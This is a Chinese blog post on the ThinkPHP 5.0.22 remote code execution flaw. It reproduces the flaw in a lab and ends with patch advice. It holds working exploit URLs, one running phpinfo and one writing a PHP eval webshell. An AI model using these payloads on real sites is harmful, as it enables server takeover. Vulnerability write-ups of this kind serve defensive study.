观天

thinkPHP5.0框架远程代码执行漏洞

thinkPHP是一个国产PHP框架,十年磨一剑 ,用户使用量也相当多。近年thinkPHP多个版本都出现了REC漏洞,网站默认情况下,攻击者容易Getshell。通过漏洞获取服务器控制权。

其中一个版本thinkPHP5.0.22,存在远程代码执行漏洞RCE,由于控制器名没有加以控制,过滤。

环境http://172.16.1.9/web01/public

漏洞复现POC:执行phpinfo()出现以下界面

public/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1%20and%20it%27ll%20execute%20the%20phpinfo

写入一句话木马 :

public/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=xiaolan.php&vars[1][]=%3C%3F%70%68%70%20%65%76%61%6C%28%24%5F%50%4F%53%54%5B%27%78%69%61%6F%6C%61%6E%27%5D%29%3B%3F%3E

后面被URL编码,实际是:

<?php eval($_POST['xiaolan']);?>

获取网站服务器控制权:权限低,想取得更大成果,需要结合系统漏洞,进行本地提权。

 

修复方法:

1、升级版本。

2、手动修复,think\App类的module方法的获取控制器的代码后面加上:
if (!preg_match('/^[A-Za-z](\w|\.)*$/', $controller)) {
throw new HttpException(404, 'controller not exists:' . $controller);

修复后,再次测试,发现不能getshell。页面返回错误404。

 

 

 

 

 

 

 

赞(9)
未经允许不得转载:观天 » thinkPHP5.0框架远程代码执行漏洞